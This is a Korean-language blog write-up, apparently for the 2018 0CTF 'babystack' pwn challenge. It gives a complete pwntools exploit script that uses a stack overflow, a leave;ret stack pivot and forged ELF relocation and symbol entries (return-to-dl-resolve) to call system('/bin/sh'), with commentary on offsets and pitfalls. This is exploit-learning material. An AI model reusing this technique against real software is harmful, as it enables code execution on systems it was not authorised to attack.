2018 0ctf babystack
오랜만에 라이트업 포스팅을 한다 ㅎㅎㅎㅎ
우선 보호기법을 체크하자.
IDA로 문제를 보면
이게 끝이다. PlaidCTF의 ropasaurusrex가 생각난다. ㅋㅋㅋ
여기서 BOF가 발생하는데 프로그램 안에서 puts 같은 출력함수를 사용하지 않아서 Leak이 불가능하고 입력받을 수 있는 버퍼의 크기가 0x40밖에 되지 않아서 ROP를 사용하기 힘들다.
그래서 return_to_dl_resolve 기법을 사용하여 풀었다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | from pwn import* p = process("./babystack") elf = ELF("./babystack") p3r = 0x080484e9 p1r = 0x080484eb bss = 0x0804a020 leaveret = 0x080483a8 jmp_dl = 0x80482f0 strtab = 0x804822c symtab = 0x80481cc jmprel = 0x80482b0 binsh = 0x804a3b3 reloc = 0x1ed0+0xb0+0x50+0x100+0x4 elf32_rel = p32(elf.got["read"])+p32(0x21d07) symtab = p32(0x1f70+0xb0+0x50+0x100+0x10)+p32(0)+p32(0)+p32(0x12) payload = "A"*0x28 payload += "B"*4 payload += p32(elf.plt["read"]) payload += p32(0x0804843b) #back to main payload += p32(0) payload += p32(bss+0x150+0xb0+0x50+0x100) payload += p32(80) p.send(payload) p.send(p32(jmp_dl)+p32(reloc)+p32(elf.plt["read"])+"AAAA"+p32(binsh)+elf32_rel+"A"*16+symtab+"system\x00"+"/bin/sh\x00") payload2 = "a"*0x28 payload2 += p32(bss+0x150+0xb0+0x50+0x100-4) payload2 += p32(leaveret) p.send(payload2) p.interactive() | cs |
문제를 풀면서 주의해야 할 점은 전역변수에 구조체를 전부설정하고 전역변수 주소를 esp로 돌려야 하는데 그 과정을 fake_ebp를 이용해서 돌려줘야 한다.
또 전역변수에다가 바로 dl resolve를 시도하면 esp가 전역변수 주소라서 프로그램이 실행되면서 들어가는 값들이 전부 전역변수에 들어가게 된다. 그러다가 잘못되서 전역변수 전에 있는 함수 주소를 다른 값으로 덮어버릴 수도 있기 때문에 전역변수+500? 정도로 설정해준다.
27번째 줄을 설명하자면 나중에 leave ret을 해주면서 esp가 전역변수 주소로 바뀌고 pop eip를 해주면서 mov eip esp가 진행되니 esp에 dl_resolve 주소를 넣어주면 나중에 dl_resolve를 실행시킬 것이다.
reloc은 leave ret이 진행되면서 인자로 쓰일 fake reloc 오프셋이다.
gdb를 봐가며 풀었는데 read 부터 binsh까지는 ROP 같은 느낌으로 진행되는 것 같다.
나머지는 일반적인 ret2dl 기법과 동일하다.
문제를 풀면서 구조체는 다 짜놨는데 dl_resolve를 어떻게 실행할 지 몰라서 시간이 꽤 걸렸던 문제였다. 이제 re2dl 기법 문제들은 그만 풀어봐도 될 것 같다. 다른 거 해야지
'CTF' 카테고리의 다른 글
??CTF 1 (0) | 2018.11.29 |
---|---|
2018 Rctf writeup (1) | 2018.05.25 |
2015 Codegate final yocto (0) | 2018.05.09 |
2018_Asis_CTF Just Sort! (0) | 2018.05.03 |
2018_Asis_CTF Cat (0) | 2018.05.03 |